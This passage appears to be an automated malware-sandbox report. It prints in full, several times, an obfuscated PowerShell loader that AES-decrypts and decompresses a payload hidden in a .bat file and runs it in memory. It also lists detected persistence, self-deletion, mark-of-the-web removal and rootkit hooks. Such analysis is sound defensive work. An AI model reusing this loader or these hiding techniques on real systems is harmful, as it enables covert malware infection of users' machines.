[IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Users\user\Desktop\product.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior

Source: IhrFKM.exe.35.dr

Static PE information: 0xA8D14247 [Thu Oct 2 02:11:19 2059 UTC]

Source: C:\Windows\System32\winlogon.exe

Code function: 15_2_000001CA7D1E1E3C LoadLibraryA,GetProcAddress,SleepEx,

15_2_000001CA7D1E1E3C

Source: C:\Windows\System32\winlogon.exe	Code function: 15_3_000001CA7D1CA7DD push rcx; retf 003Fh	15_3_000001CA7D1CA7DE
Source: C:\Windows\System32\lsass.exe	Code function: 16_3_0000017D2DD3A7DD push rcx; retf 003Fh	16_3_0000017D2DD3A7DE
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_0000022F4B90A7DD push rcx; retf 003Fh	17_3_0000022F4B90A7DE
Source: C:\Windows\System32\dwm.exe	Code function: 18_3_00000262F1ECA7DD push rcx; retf 003Fh	18_3_00000262F1ECA7DE
Source: C:\Windows\System32\dwm.exe	Code function: 18_3_00000262F1CEA7DD push rcx; retf 003Fh	18_3_00000262F1CEA7DE
Source: C:\Windows\System32\cmd.exe	Code function: 22_3_000001B68BD0A7DD push rcx; retf 003Fh	22_3_000001B68BD0A7DE
Source: C:\Windows\System32\conhost.exe	Code function: 23_3_000001E591CAA7DD push rcx; retf 003Fh	23_3_000001E591CAA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 26_3_000002234E11A7DD push rcx; retf 003Fh	26_3_000002234E11A7DE
Source: C:\Windows\System32\svchost.exe	Code function: 27_3_0000023942AFA7DD push rcx; retf 003Fh	27_3_0000023942AFA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 28_3_000001EF056BA7DD push rcx; retf 003Fh	28_3_000001EF056BA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 29_3_000002287A7EA7DD push rcx; retf 003Fh	29_3_000002287A7EA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 30_3_000001B94DA7A7DD push rcx; retf 003Fh	30_3_000001B94DA7A7DE
Source: C:\Windows\System32\svchost.exe	Code function: 31_3_000002520255A7DD push rcx; retf 003Fh	31_3_000002520255A7DE
Source: C:\Windows\System32\svchost.exe	Code function: 32_3_000001A9EBFAA7DD push rcx; retf 003Fh	32_3_000001A9EBFAA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 33_3_0000019FF161A7DD push rcx; retf 003Fh	33_3_0000019FF161A7DE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\$nya-onimai2\IhrFKM.exe

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\$nya-onimai2\IhrFKM.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\System32\Tasks\$nya-mW41WeM4

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: c:\users\user\desktop\product.bat

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier read attributes | delete

Jump to behavior

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE $nya-dll32

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
